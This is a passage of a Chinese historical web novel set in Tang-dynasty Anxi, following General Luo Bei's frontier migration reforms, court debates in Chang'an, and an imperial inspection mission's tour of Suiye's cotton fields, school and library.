郭元振已将奏疏读了大半,听他这样说,又抬起头看他一眼:“我看不像,我读过洛北写的东西,多重义理而轻文藻,能得你张大状元盛赞如此,我猜应当那是褚郡君替他捉的刀。” “是她呀,过去我们在上官昭容的诗会上常见,论文才,她确实不逊于任何一个男子。”张说道:“不过,洛将军是被武三思打压过的神龙功臣,我还以为他不赞成女子参与政事呢。” 郭元振见他多想,不由得笑了,以他对洛北的了解,洛北请褚沅为自己执笔只有一个原因——他希望借用这位褚郡君的文采和影响力,把这封奏疏传得越广越好: “先不说文笔的事情,你看看这其中提出的若干条措施如何?” 第168章 士兵们或许会背叛皇帝,但绝不会背叛自己的战争之神。 张说光注意文笔, 倒没有在意其中提出的主张。郭元振这样说了,他便又低头看了一遍: “修道路、理漕运、复官学、兴病坊及悲田坊、整饬寺庙、增设文馆,这都是朝廷在开发一地时常用的策略, 若说大胆之处, 便是这整饬寺庙了吧?” 朝中权贵热爱造像修佛,耗资极多,御史和谏官们屡屡上奏,都不得成效。洛北干脆反其道而行之,上书朝廷告诉他整饬寺庙之后拿到的收入, 整整四万钱,都够充一个小军镇一年的军费了。 郭元振笑着叹了口气:“这就是洛北的高明之处啊,他用这些复杂的手段遮掩了他奏疏中最重要的目的——”他指了指张说刚刚读的那段:“他希望朝廷开边移民!” “这不错, 但凡治理边境,此为第一步。”张说沉吟片刻,内心倒是赞成这个想法。 自汉代起, 开边移民便是朝廷巩固边疆的不二手段, 这些百姓耕作田地,上交赋税,甚至在农闲时编为民兵,参与训练, 都是抵御外敌、增多赋税的手段: “如今关中百姓密集,田地不足, 若有贫困者能到安西去觅个生路,也是好事。” 郭元振道:“你我可以这样觉得,但朝中那些人可不一定会这样觉得。他们会觉得中原才是天下腹地, 其他地方不过是枝干,怎么能让百姓跑到边境去呢?更有甚者, 会觉得洛北有心通敌叛国,谋划自立。” “通敌叛国”这四个大字砸下来,张说忍不住皱起眉: “洛将军虽然功勋卓著,但毕竟年轻,相公,朝廷不是才派了解琬解大夫和薛讷将军去西域,这两位都是资历极深的朝廷重臣,难道还制不住一个洛北?” 郭元振望着张说认真的面容,不由得轻轻一笑。张说是女皇在载初元年时通过殿试录取的第一个状元,又是举世闻名的才子,他的仕途虽有波折,但总在文官序列中打转,并没有到边疆去看一看的机会。 倘若他去看了,就会知道,在风沙荒漠,刀枪剑戟之中磨砺出来的信仰是何其可靠。洛北是以每到战争之时,亲临战阵,身先士卒得到的爱戴,是以带兵以来,战无不胜,攻无不取得到的信任。士兵们或许会背叛皇帝,但绝不会背叛自己的战争之神。 不过他不打算和张说推心置腹到如此地步:“道济,别紧张,洛北是我的老下属,我信任他的为人,只是,这样的帽子扣在一位边将身上,可不是好事。” 张说愤慨道: “相公,您还不知道朝中那些人的想法吗?他们仗着爵位权势,占据了不少田地,还要百姓为他们种田做工。若是给百姓一条西逃的活路,只怕他们的收入会大大减少,为了实打实的金银财宝,他们什么样攻击的话说不出来?” “是啊,我想这也是洛北这洋洋洒洒的奏章目的所在。”郭元振叹了口气:“可朝中的聪明人不在少数,若我能看出他的目的,只怕其他人也可以眼看着这一场狂风暴雨,又要来了。” 正如郭元振所料,这封奏疏一递上朝中,立刻引起一阵轩然大波。 宰相韦巨源、窦怀贞等纷纷上书反对,身为侍中,执掌门下省的韦巨源更是直接上书弹劾阿史那献及洛北:“违国法、乱人心。”要求皇帝立刻把他们召回长安,下狱问罪。 更有甚者,借此机会攻击魏元忠及郭元振,说他们里外通谋,败坏国家。 在一片沸沸扬扬的讨论之中,执掌国务多年的宰相魏元忠终于病倒了。 自神龙元年魏元忠受召回朝以来,一直担任宰相职务,深受李显器重,在李显居丧辍朝或是出门游乐之时,都将政务交给他来处理。如今魏元忠病倒,原本纷扰的朝堂更加纷乱。 魏元忠自知久病,但总想撑着病体多做一分是一分,如今病情已经无可遮掩,他终于在这一年的九月上书请求辞去官职,致仕归家。 李显舍不得放走这位替自己打理朝政的东宫旧臣,虽命宰相萧至忠等暂代其尚书左仆射事,却始终不肯下诏让魏元忠致仕,反倒派遣太医每日前往魏府问诊,甚至自己白龙鱼服,前往魏府探望。 魏元忠久病,已经卧床数日。为了迎接这位皇帝,还是强撑身体,起来对这位君主行了一套大礼,短短数日之内,他已经病得形容枯槁,与之前精神矍铄的模样判若两人了。 李显垂了两滴眼泪:“魏卿此去,朝政该如何是好啊?” 魏元忠勉强挤出一丝微笑,声音沙哑而微弱:“陛下,臣已是老朽,回望往事,多有遗憾,可感怀者,便是朝中有贤才。譬如吏部尚书宋璟、兵部尚书郭元振、中书令萧至忠等皆是能臣,足以辅佐陛下。臣之去留,实不足挂齿。” 李显摇了摇头,眼中流露出不舍:“魏卿,你我共事多年,你的忠诚与智慧,朕深信不疑。朝中虽有贤才,但能如你一般深得朕心者,寥寥无几。” 魏元忠轻叹一声,望着眼前这位君主——他遍历高宗、女皇及李显三朝,心知李显并不是一位值得信任的君父,他只是个被命运蹉跎玩弄,又被架在皇帝这个位置上的普通人。可就因为皇帝的这个职位,让这个人的一切决定,都有危害天下的危险: “陛下,臣有一请。还请陛下恩准。” 李显见他声音微弱,更是难过得不得了:“卿可是要为魏升求官?朕已下旨,封他为太子冼马,并为任城县男……” 魏升是魏元忠长子,早为皇帝拔擢,在东宫任职。如今被提升到太子冼马位置上,那是太子近臣。一家父子侍奉两代君主,皇帝对魏元忠的重视可见一斑。 “微臣谢过陛下隆恩。”魏元忠只得又挣扎着起来,给李显道礼谢恩,“只是微臣相信陛下乃是英明睿智之君,并未为儿孙担忧过……”他转而从枕下抽出一封奏折,双手捧到李显跟前,“微臣想请陛下御准此疏。” 李显望着那本奏疏,一时之间百感交集。魏元忠在此时将奏章呈上,无疑是将此疏作为遗表:“魏卿,这奏疏我日后再看。李院判医术高超,他会把你治好的。” 魏元忠执拗地摇了摇头:“臣请陛下当面御准。” 李显拗不过他,只得将奏疏翻开,他扫了一眼,不由得大惊失色:“这,这是安西都护府呈奏的那封奏章!” “是……臣还在其中加了一条,府兵中愿意增长戍边期限的子弟留下来,由朝廷赐给他们田地和赏赐。” 李显的眉头紧锁,他的目光在奏疏上徘徊,心中波澜起伏。他知道魏元忠的这个建议,无疑是在为洛北的开边移民政策添砖加瓦,这不仅关系到边疆的稳定,更触及了朝中权贵的切身利益。 “魏卿,你这是何意?”李显的声音中带着一丝颤抖,他努力压制着自己的情绪。 魏元忠深吸了一口气,尽管病痛让他的每一次呼吸都如同刀割,但他的眼中却透露出坚定的光芒:“陛下,臣这一生,虽有遗憾,但无愧于心。臣深知,边疆稳固,国家方能长治久安。洛北将军的奏疏,虽有争议,但其心可鉴,其策可行。臣斗胆,请陛下当面御准!” 李显沉默了,他知道魏元忠的话不无道理,但他也清楚,这个决定将会在朝中掀起怎样的风波。他闭上眼睛,深吸一口气,试图平复心中的波澜: “魏卿,你先休息,朕会仔细考虑你的建议。”李显最终说道,他的声音中带着一丝疲惫。 魏元忠点了点头,说出了最后一句话:“太子年少,还希望陛下多加宽容。” “知道了。”李显转身而去。 魏元忠看着李显离开的背影,一股腥甜涌到喉咙中,他张开嘴,一口接一口的鲜血就吐了出来。 景龙三年九月十八日,历经三朝的老臣魏元忠于长安去世。李显为这位肱骨之臣辍朝三日,赐他谥号“文贞”。 九月二十一日,李显回到朝堂的第一日,户部便上书言事,说今年大旱,关中收成不好,长安粮草难运,可否请皇帝及文武百官按照大唐旧例移驾东都洛阳,以减轻关中地区的粮食负担。 李显本想答应,奈何韦后是长安人,政治势力皆在长安,安乐公主又急着看她那“远胜昆明池”的“定昆池”完工。两人向李显进言,说自古没有皇帝迁就粮草的道理,陛下是圣天子,怎么能为粮草左右呢? 李显拗不过她们,只得再度拒绝了户部的请求。太子李重俊上书请皇帝三思,李显盛怒之下,竟将太子也废黜了——朝中自此无人再敢提起“移居洛阳就食”之事。 最终,宰相萧至忠忍无可忍,再度上书,请皇帝同意洛北的奏疏开边移民,放百姓一条西逃的生路。 萧至忠一向温和,连他也言辞激烈,李显的心里便有些复杂。那一日下朝时,他便觉头疼,几度目不能视,等到回到宫中时,只有抬手叫太医来的力气了。 李院判顶着韦皇后的目光为李显诊完脉:“陛下这是旧疾复发了,微臣请以昔年旧法医治。” “昔年旧法?什么昔年旧法?你说得清楚些。”韦皇后皱眉问。 李院判的手在袖中攥成了拳,似乎只有这样才能给他自己一点鼓舞:“昔年陛下在叶静能府中也曾发病,当时是时任右羽林军大将军的洛北将军出手替陛下医治,使陛下复原如初。微臣后来也找洛将军讨论过治疗方案,陛下……臣可否……” “又是那个小子。”韦皇后皱了皱眉,伏在李显的病榻上:“陛下千金贵体,怎可贸然施针?这……要不请马秦客来看看吧。” 马秦客出身医术世家,一直为韦皇后信任,出入内宫,如今官至散骑常侍。李显知道此人,但还未找他看过病:“李院判……你来为,为朕施针吧。” 李院判有皇帝御准,不再犹豫,当即上前为皇帝施针,他手法比洛北温和许多,约莫一炷香的功夫,李显才从昏昏沉沉的状态中醒来。 韦皇后当即扑到他怀里痛哭起来:“陛下吓死臣妾了……倘若陛下……” “哭什么,哭什么。”李显一边安慰韦皇后,一边挥手示意宫人将赏赐递给李院判,“朕这不是没事了吗?赶明天,叫李院判把洛北那个方子拿出来吃一吃。朕上次试过,一个月就能好了。” “陛下如此信任洛北,谁知他……”韦皇后轻轻叹息一声。 李显道:“他也没做错什么,他现在是一方父母官,总要为百姓着想。唉,若不是裹儿胡闹,他现在还在禁军中任职,朝中也就没有这么多事了。” 一提到安乐公主矫诏之举,连韦皇后也只能偃旗息鼓,她试探着问:“那陛下是打算准许他的奏疏啦?” “让他试个一年吧。”李显拍了拍韦皇后的手臂,“一年之后,朕再派御史前去察查……” 第169章 “洛将军少年英才如此,实在教我等无地自容了!” 一年时日转瞬即过, 景龙五年春日,朝廷如约派出使节前往安西察查改革的情况。 与以往不同,李显特地派出中书舍人苏颋检校安西黜置使领衔使团出行, 反倒把侍御史张孝嵩放在了副使的职位上。 “陛下还是看重洛北。”长安城中的裴氏酒肆之中, 王翰端起酒杯与张孝嵩笑着与张孝嵩道:“苏舍人素有文坛清流的美名,又长于政务,要是他以实情上奏,管教那些攻击洛北的臣子清净下去。” 张孝嵩轻轻一笑:“我倒听说,是苏舍人自己请旨外放出京的。” “哦?”王翰好奇道:“本朝重内轻外, 在朝臣子皆以在长安任职为清贵。苏舍人同他父亲宰相苏瑰同掌枢密,荣耀一时,他为什么想不开要外放?” “问题就出在这个‘同掌枢密, 荣耀一时’上,父子同居高位,便会被无数双眼睛盯着挑错。苏舍人大概也是意识到这个问题, 才自请外放。” 张孝嵩抿了一口酒水: “不过, 朝政对安西好奇之人不在少数,相王还把自己的典签裴耀卿荐往吏部,请吏部授予裴耀卿一个御史职务,随同我们出行。” “裴耀卿?那位出名的神童么?”王翰笑道:“可惜我现在无官无职, 否则也一定与你们同行。” 张孝嵩听出他语气中的遗憾:“王翰兄,你不是同兵部侍郎张说交好么?不妨请他把你也荐到使团中。” “张侍郎?”王翰想了想:“张侍郎确实对安西改革颇为关注, 可要往使团中塞个人” “你不试试怎么知道?张侍郎同苏舍人并称‘燕许大手笔’,皆是文坛魁首,你王大才子又是声名在外, 只要张侍郎开口,苏舍人一定会答应的。”张孝嵩笑道:“再说, 苏舍人也是好酒之人,前天我和他碰面聚会的时候,已向他提到过你这位好酒的才子啦。” “好个孝嵩,你现在也学会连环计来了。”王翰笑道:“既然如此,我就去问问。” 二月初,经过张说的推荐,王翰终于如愿以偿,随同使团一道出行。 使团四人之中,最年长的苏颋也不过四十来岁,又都素有才名。于是每到一处,便与当地的官员及地方才子聚会宴饮,同赋诗文,一路留下不少佳作。 八月过半,使团终于来到了离长安六千里之遥的碎叶城郊,此时西域已入秋季,正是秋高气爽的好季节。 几人抬头张望,一只金雕从他们头顶掠过,向着碎叶城的方向飞去。 “一看便知道是到了谁的地界。”张孝嵩手搭凉棚,顺着金雕的方向望向远方:“苏舍人可要命使团快行?想来洛将军的人已经在前方等着我们了。” 苏颋笑着应允,一阵疾驰过后,他们都望见,不远处新修的大路上,有“安西都护府”旗帜高高飘扬。吴钩迎在最前,向苏颋及使团众人道礼:“苏舍人、张御史、裴御史、王公子。将军命我在此迎接诸位,诸位一路辛苦了。” 苏颋笑道:“吴判官客气了,我有一事相问。我自龟兹出发,一路轻装简行,不设仪仗,又刻意加快脚步,将军怎么知道我今日要来?” 吴钩道:“舍人及使团诸公皆是器宇轩昂,风流倜傥,你们虽然轻装简行,但穿越碎叶道时,还是被不少牧民商人看见,我们安西难得遇到这般人物,那些牧人、商人都当成新闻来传了,所以将军自然会知道消息。” 王翰和张孝嵩不由得对视一眼,两人都在对方眼中看到了难以掩饰的笑意——吴钩不愧是大商人出身,把一句半真半假的话说得如此让人如沐春风。 苏颋果然被这话哄得面带笑容,他不再追究行藏泄露的事,只命使团在路边就地休息。那些等候已久的侍从仆役们纷纷上前,为他们奉上新鲜的瓜果和饮水。 裴耀卿年纪最轻,又是第一次外放出京,忍不住拿了串葡萄,就走到路边的荒野中去了:“那边白茫茫的,是什么地方?” “那边啊。”吴钩亲自把一碟点心奉到苏颋手上,又分神来答裴耀卿的问题:“那是今年扩种的棉花田,如今是收棉花的季节,裴御史若感兴趣,可以去看看。” “棉花?”这种作物在长安及各地并不常见,苏颋好奇道:“那是什么东西?” “是与麻类似的衣料作物。用它织出来的布料柔软亲人,比麻布好穿。”他从袖中掏出一张棉布手帕,递给苏颋:“请苏舍人参详。” 苏颋摸了摸那张厚实的棉布,手上的灰尘和汗水都被擦得干干净净:“这确实比麻布好上许多。这东西是从哪里来的?” “说来惭愧,是西突厥可汗、安西大都护阿史那献将军从崖州带来的。这种子比粮食好活些,碱地里也能种。”吴钩道:“阿史那献将军因流放久居崖州,他的几个侍从仆役,都是崖州的黎族子弟。他们善于种棉纺纱,便把这一套教给了安西当地的民众。” 阿史那献流放二十年,回归依旧忠贞报国,在朝中已经传为美谈。苏颋听闻只是叹息:“也算是因祸得福。” 众人一听,都好奇地往棉花田地中走去。暖暖的日头下,几个头扎头巾,裙摆系到腰间的妇女正一边拉家常,一边采摘棉花。她们都穿着长袖衣裳,手上戴着手套,棉花丢到背后的竹篓子里,很快那竹篓子里便堆成了一片洁白的雪山。 王翰看着好奇,也伸手要摘一朵,甫一下手,便被多刺的棉株扎了一下:“啊,痛,痛!” 那埋头收棉花的女子们这才发现还有人在看,忙把衣裳放下去,拉起面巾遮住面容。其中一个年岁最大的女子走上前来,高声以吐火罗语骂了几句。 吴钩哑然失笑,只得以吐火罗语向她辩解,两人来回拉扯了几个回合,那女子才知道这是“朝廷来的大官”,改以汉语向他们道歉:“实在抱歉,我们一向在田里散漫惯了,没给你们添麻烦吧?可别为难我们洛将军啊。” 裴耀卿笑道:“洛将军是个好官吗?他要是个好官,怎么叫你们这些女郎来摘棉花?这棉株多刺,可把你们的手都扎破了。” “棉花的刺算什么。”那妇女叉起腰,一脸骄傲地道:“我从前被卖到这里来的时候,是在小酒肆里端盘子的。一天到晚忙个不停,还要时不时挨那天杀的老板打,赚得钱没有几分能到自己手里。现在虽然辛苦,但除了公家的,就是自己的,干起活来多有劲儿啊。” “你是被卖到这里的?”张孝嵩皱眉问道。 “是,从前动刀兵打仗的时候,被天杀的突骑施人从家乡劫来的。”提起往事,这妇女扭捏了一下:“是洛将军把他们赶跑,还了我们自由身。老爷们,你们听我说,洛将军可真是天底下最好的官了,去年我们刚种” 她说着说着就不免絮絮叨叨,从洛北的政策讲到自家的事情,四人站了半天,连腿都酸了。吴钩才好不容易从她的话里找到一个气口,打断告辞。 《唐律疏议》中,“略(同‘掠’)人略卖人”皆是重罪。即使是“和同相卖(也即经过被卖者同意的买卖)”也是流放大罪。 但到了李显的时代,这条法律已经形同虚设,朝中权贵如定安公主和安乐公主甚至放纵自家的奴仆在街上私自抢掠人口入府为奴。 众人都从长安来,见那妇女骄傲的模样,喉中都像哽了什么东西,一时之间,都默然不语。 吴钩察言观色,轻声笑道:“几位上官,实在抱歉,被这个插曲耽误了行程,如今日到正中,想来将军已在府中等待我们了,请几位同我移步回去吧?” “哦,”王翰第一个反应过来,率先点头:“诸公,我们走吧,看看洛将军给我们准备了什么好吃的。” 众人这才应了,接二连三地从棉花田里离开,裴耀卿走在最后,问吴钩道:“我刚刚在心里计算过,这棉花绵延不绝,想是有一千多亩吧?” 饶是吴钩久于世故,面对这样的询问还是忍不住一怔——裴耀卿这位出身长安的清流臣子,哪里来的知识对农事的如此了解?但这神情很快被他自己掩饰下去,他笑着打了个哈哈: “裴御史果然慧眼,就是算得有些太高了,这棉花也就六百多亩,堪堪够碎叶城中的百姓使用罢了。” 裴耀卿“哦”了一声,终于重新上马奔波。他们路过成片的棉花地和金灿灿的麦田,又看到一片又一片的荒野,终于在半日之后,来到了安西衙署的匾额下。 洛北一身紫色官服,已在安西衙署中久候。 苏颋等人被吴钩引入衙署之中,与这位久负盛名的将军打了个照面。 望着洛北那双灿如流金的金色眼眸时,苏颋不自觉地感叹道:“洛将军少年英才如此,实在教我等无地自容了!” 苏颋这感叹也不是无的放矢,苏颋在四十一岁入中书省担任中书舍人,已是朝中有名的“青年才俊”,与他同行的使团成员中,素有“神童”之名的裴耀卿今年也已经二十九岁,而眼前这位官居三品的洛北将军,竟然只有二十五岁! 洛北躬身道礼:“苏舍人过誉了,我生平憾事,便是不能长于文采,如今有四位才子光临敝地,实在是让我这小小衙署蓬荜生辉。诸位,中午我已经备下宴席和乐舞,还请诸位不要吝惜才华,一道唱和几句,为我这里添添文气啊。” 第170章 “我既执掌文馆,便有教化之责。倘若滥用民力,大肆营建,不就是舍本逐末了吗?” 碎叶城的清晨是由鼓声唤起来的。当晨曦的辉光落在琉璃飞瓦上的时候, 一众学生说说笑笑地涌到了碎叶城西的琉璃建筑之中。苏颋及王翰、裴耀卿缀在他们身后,抬头张望,匾额上是硕大的“碎叶文馆”四字。 褚沅一身儒服, 随同在他们身边, 轻声替他们讲解: “这里就是碎叶城的官学了。我仿照长安,在此地设立‘四门学’、‘算学’、‘律学’、‘医学’、‘农学’、‘工学’及文馆。” “哦?这样说来,也是与长安的‘六学一馆’相似了?”裴耀卿笑着问道:“可虽说碎叶城无有贵家子弟,不必设‘国子’、‘太学’,可在其余诸学之中, 郡君又去了‘书学’,是何道理?” 褚沅道:“因为在此地,除了学习儒家经典的‘四门学’及‘文馆’外, 其余诸学皆是冬入春出,一季结课,裴御史知道, 书法之道, 不是一个季度能学的完的。何况碎叶苦寒,冬季墨水凝结,就更别想好好学习书道啦。” “这倒是因地制宜。”苏颋笑道。昔年在长安的文会上,他与褚沅就已经是相识的旧友。他开口说话, 也有为褚沅解围的意思:“只是你把农、医、工等学术提到了这个位置,怕是朝中那些夫子不肯答应啊。” 此时他们已路过殿前的泮池, 自侧廊进入文馆之中。这文馆本身也是一座巨大的藏经阁,别出心裁地设计成多层平顶高塔的模样。 众人入得塔中,却觉得豁然开朗, 他们抬头望去,四下高窗通透, 阳光射入穹顶之中,照亮了顶上镶嵌的湛蓝瓷砖。 “这是什么?”王翰忍不住惊叹一声。 “这是仿照波斯宫殿的制式所建造的穹顶。”褚沅替他们指过四周墙壁上的书橱,书橱中整齐地排布着书卷及经典:“说来惭愧,碎叶这个地方多年遭战火侵扰,想找营造汉家样式的工匠颇为不易。倒是有不少波斯工匠的后人居住在此,找他们来建这大工程可便宜得多了。” 裴耀卿笑道:“我一路走来,但见西域安稳,百姓富足,想来安西都护府一年所收赋税也不低吧?哪里至于让文采出众的褚郡君也满口金银俗物?” “裴御史这是取笑我了。”褚沅向他投以一个颇有深意的眼神:“西域古来多战,也就洛将军荡平突骑施,击溃突厥以来,百姓才过了些好日子,我既执掌文馆,便有教化之责。倘若滥用民力,大肆营建,不就是舍本逐末了吗?” 苏颋忍不住笑了:“焕之啊,你性情高洁,不喜交游。没到长安文会上领教褚郡君的本事,当年郡君主持文会,评点诗句,入木三分,我等都只有喏喏的份,哪敢和她顶撞哟。” 裴耀卿并不怎么把褚沅放在眼里,可被苏颋这样拿话一点,还是红了脸。他快走几步,忽闻水声潺潺,便拿这个岔开了话头:“这水声是从何而来?” “从地下来。”褚沅道:“此地的水是以暗渠形式从雪山上引来的。”她快走几步,带众人绕过一道墙壁,两道水渠正不知疲惫地奔涌着,自廊下穿过,流向泮池。 廊下站着一老一少两个身着长袍,颈戴珠串,胡人打扮模样的男子,正对着廊下的阳光研究几块玻璃片,见到褚沅,都对她躬身道礼。 褚沅以不甚熟练的异邦话与他们问答,他们也以异邦话向褚沅答话。几句之后,他们也躬身向苏颋等人道礼,才移步向文馆中走去。 “你们在说什么?”王翰在鸣沙的时候,也学过一点突厥话,听着有些相似:“我隐约听到他们说光什么的?” “是。”褚沅点了点头:“他们都是在波斯灭国之后出逃昭武九姓的学者后裔,刚刚是在研究如何打磨和放置玻璃片,才能聚焦光的方向。刚刚诸位在文馆中见到的窗户,便是他们的手笔——只要善加引导,这些光线就可以照亮屋内。这样,我们就不必白日在藏经阁中点灯了。” “有趣。”苏颋摸了摸下巴的胡须:“阿罗憾在长安时,我也和他有过来往。他说波斯文脉鼎盛,却没说他们会醉心于这些奇淫技巧。这样的人,在这里不止一个吧?” “是。自大食吞灭安国以来,向东逃亡的商人、学者不在少数,其中不乏年高位尊,饱读诗书,熟悉经典之人。相比之下,碎叶城中的儒学子弟就太少了。” 褚沅抬起眼眸,望着蓝天: “刚刚苏舍人问我,为何不大张文法,反倒将农学、医学、工学等提到高位?我的回答很简单,要弘扬儒学,也得有人来做才行。不怕诸位取笑,如今四门学的课,都还依赖我来带呢。” 王翰道:“褚郡君也不必太自谦了。你既能执掌内学馆,为皇子、公主及诸位女官授课,带这些少年人读读诗书还不简单?” “我说刚刚怎么有不少女郎也在学子队伍之中,”裴耀卿道:“原来是褚郡君为自己培养学生。” 褚沅摇了摇头:“我只收了四个年轻女子作为弟子,传授诗书,为的是请她们在这里执教碎叶城及附近女童的蒙学。至于裴御史刚刚看到的姑娘们,她们的主业可不是学诗书,是学算学、医学及工学。其中又以工学最多。” “哦?那些姑娘看着年轻,肩不能挑,手不能提的,学什么工学?”裴耀卿问。 “织、染、绣花一类的女工。”褚沅道:“安西都护府在伊逻卢城外有座布坊,一开始是为了收容几个无家可归的女子所设。后来她们经营得当,倒是越做越大,又招收了不少女郎织布、染布、绣花后来多地女子风起效仿,结社集资来做这样的事业,我就特设一科,让她们互相交流。” 苏颋的母亲第五氏也是深受女皇器重的女官,如今也在宫中工作。他沉默片刻,才道:“褚郡君女官出身,怎么关注起这些来了?我还以为,你是仿照宫中内学馆,别开女学,教养女子呢。” 褚沅轻轻笑了:“她们到这里来学这些,也是要读书认字的。我也希望她们能饱读诗书,明白义理。可除此之外,我还希望她们有一项立身之本。” “褚郡君这话越说越糊涂了。”王翰挠了挠头:“若诗书不能立身,我真不知天下何以能够立身了。” 褚沅苦笑一声,似乎是不知如何作答。倒是有人从后面开口道:“王翰兄,以诗书立身,这是男人说的话。” 众人转过身来,洛北同张孝嵩一道出现在碧蓝的穹顶之下,两个人皆是长袍束袖,显然都刚从军中来。 几人互相道礼,苏颋才问洛北:“刚刚洛将军的话,是什么意思?” “苏舍人勿怪,是我轻狂了。”洛北道:“我与王翰兄素来相熟,说笑惯了。可没有贬损诗书的意思。” 苏颋本就想听他的后半句话要说什么,这时候哪顾得上计较这些:“洛将军但说无妨。我想在场众人,谁也不会误解你的。” “王翰兄说可以以诗书立身,是因为朝廷有科举,每年从州县选拔饱读诗书之人,入朝为官,便是不能为官,也可以开私塾,教导那些想要读书为官的人。” “但朝廷从来只在民间征召才女入宫为女官,何时为女子开过科举?便是征召入宫,这样的事情能有多少?能激起民间女子人人向学,甚至让百姓之家愿意出资把女孩一道送入学中吗?” 王翰的脸色缓缓地变了,他是真的在鸣沙开过蒙学课的人,自然知道那台下不会有平民女郎。她们或忙于家务,或忙于生计,或忙于子女,甚至有不少人把家中的事务一肩挑了,也要供养夫君上学读书。 难道她们真的知道什么弘扬儒学的大道理吗?不,她们所求的,不过是家中夫君借由诗书做了官,好让全家富贵罢了。 苏颋皱了皱眉:“洛将军这话说得也太世俗了些,难道读书只是为了做官?” 洛北轻轻叹息一声:“苏舍人,人无世俗不可活啊。我自认才智平庸,不敢肖想赓续文脉这样的万世之功。我之所愿,不过是能让安西军民人人得其食,有其衣,足矣。若还能有片瓦遮头也不枉我呕心沥血,殚精竭虑了。” 裴耀卿哈哈大笑:“将军这愿望可一点也不小啊。若能治下百姓皆得温饱,便已可称为‘有德’了。” 众人嬉笑一阵,直到下午,才将这偌大的文馆逛完。张孝嵩同洛北走在最后,但见此地大而疏落,处处布置宏伟,不由得轻轻叹息一声:“现在我才明白,为什么西域太平,你却还非要常备一支亲军不可了。” 这日上午,张孝嵩去城外军营中巡视。起先,他看到洛北营中军纪严明,还颇赞赏了几句。 可等到他看完兵器监,又听说洛北每年夏去草原,秋回碎叶,在草原各部之中选出善骑射、善摔跤的子弟编入营中时,他终于忍不住问自己的这位好友: “洛将军,为人臣子者,本不该有私兵。只不过因为你是乌特特勤,朝廷法外恩容,准你的部族子弟随行而已。如今西域战事已毕,你为什么还要保留着一支如此强大的私人武装?” 洛北道:“我倒也想马放南山,这样还少出些银钱。但大食、突厥、吐蕃,哪个是省油的灯?假设我稍稍示弱,松弛武备,他们立马就会出兵安西。” 那时张孝嵩并不知道洛北这番话语出自何处,如今站在这宏大的碎叶文馆之内,安西的繁华终于有所实质地落到他的眼前——稍有不慎,这样的繁华就会焚于兵祸。 170-180 第171章 “纵横大局,临阵机变,决于战阵的事,我什么时候质疑过洛将军的判断。” 一枚浑圆莹白的棋子落在了纵横十九道绘金错彩的棋盘上。 棋盘上白云如山如雾, 笼罩四野。一条黑龙云间翻滚,几度不得脱。 张孝嵩手执一颗黑棋,盯着棋盘, 怎么也没想到求活之法, 只得又把目光望向洛北。 洛北似乎志不在此,一双琥珀色的眼眸虚虚地望着帐帘的位置,片刻听到他落子的声响,才回过神来:“怎么了,孝嵩?” 张孝嵩笑道:“我说……你要是真放心不下碎叶的情况, 我们即刻起行,快马加鞭,七日之内一定可以回去。” 塞外苦寒, 九月一到,漫漫大雪便已经降下。各部也从山间牧场转场到了平原之上。年余之前才扩建过的偌大碎叶城,一入冬, 就被牧人和商人们塞满。各家客栈、民房都住满了。 张孝嵩偶尔心血来潮, 去街上看那些牧人与商人贸易,一路上竟能碰到三四位与他并肩作战过的部族首领。 秋收方过,商税庞杂,年关将近, 本来应该是洛北这位安西副大都护兼碎叶镇守使忙碌的时候。结果洛北却把安西衙署事务托付给褚沅,把商税诸事丢给吴钩, 只带着卫队就再度来到了草原之上。 “碎叶城内有褚沅,外有吴钩,是不会出乱子的。”洛北在棋盘上又落下一子:“往常我常在城内, 是因为褚郡君又要讲课,又要处理诸般庶务, 忙不过来。如今有苏舍人和王翰兄这两位文坛魁首从旁协助,她便可以从文馆抽身出来,专心在衙署的事务上。” 洛北这一子落得刁钻,张孝嵩又忍不住犯难,他干脆放下棋子,不再看棋盘:“我听闻他们要做个文会,遍邀安西都护府内清流大才,共论经典,吟诗作赋。哎呀,洛将军,你作为碎叶城的主人却不能与会,岂不是可惜吗?” “这我倒是”洛北这才望向张孝嵩:“孝嵩想去?” “那得要看你大冬天地把我们这些人带到草原上做什么。”张孝嵩笑道。 洛北道:“两件事,其一是今年冬天来得早,雪又下得这样大。我怕再过几日,便会起‘白灾’。所以和巴彦一道出城巡视,若有落单脱队,陷于风雪之中的牧民,可以施以援手。” 他顿一顿,笑道:“孝嵩应当记得,昔年颉利可汗的汗国之所以分崩离析,被我大唐歼灭。贞观二年席卷草原的‘白灾’也是居功至伟。” “可见天命在我大唐。”张孝嵩颔首,若是为了百姓,他也愿意冒此苦寒:“第二个原因呢?” 洛北望向帐帘,轻轻一笑:“第二个原因么?我要等的客人,已经来了。” 帐外马蹄疾驰声声,有一队六人的骑兵踏雪而来。为首者率先下马,挑开帘帐,向洛北道礼:“特勤。” “哥舒将军?”张孝嵩惊喜地望着来人:“你和洛将军要见面,还要在草原上见么?” 哥舒亶笑了:“张御史误会了,特勤是命我率军前去迎接使者。”他让开一条道路,把身后的使节让进屋内。 那人约莫三十岁年纪,一张圆脸上生着一双碧色的眼眸。他恭恭敬敬地跟在哥舒亶身后走进大帐,也不敢抬头望他们,只是双膝一跪,在地上叩了一个头:“见过伟大的洛将军。” 他说的汉话腔调虽然有些怪异,但还算流畅,又称洛北为“洛将军”,这是草原民族的使节不多见的,张孝嵩不禁好奇道:“你会说汉话?” “我父亲是汉人,他是随裴行俭将军出征吐火罗的那些无赖少年之一。”使者轻声道:“他在吐火罗娶了当地的女子,才有了我。所以我会说汉话。” “吐火罗”对张孝嵩来说,是个有些陌生的名字。他望向洛北:“洛将军?” 洛北没有在使节面前给他解释这些始末,而是轻轻敲了敲桌子:“使节,你代表谁而来?月氏都督府都督兼吐火罗叶护阿史那都泥利,还是吐火罗国相捺塞?” 那使节似乎没想到他对吐火罗情况熟悉至此,有些激动地道:“您知道捺塞?” “噘哒国王捺塞是吐火罗复国的功臣。”洛北道:“但我听说,他为了反抗大食,与阿史那都泥利发生了争执,甚至以金笼把都泥利关了起来。可有此事?” 说到此事,使节的脸色一下子灰了,他当然知道,眼前年轻的洛将军是阿史那都泥利的同族兄弟,他们都是西突厥统叶护可汗的子孙:“是,是有此事。可那是阿史那都泥利不愿我家主人反抗大食。” “哦?”洛北刻意拉高了尾音。 “是,特勤有所不知,三年前大食将军屈底波南下攻打吐火罗,我家主人与阿史那都泥利皆奋力反抗,奈何寡不敌众。我家主人被俘,都泥利开城投降。” 使节道: 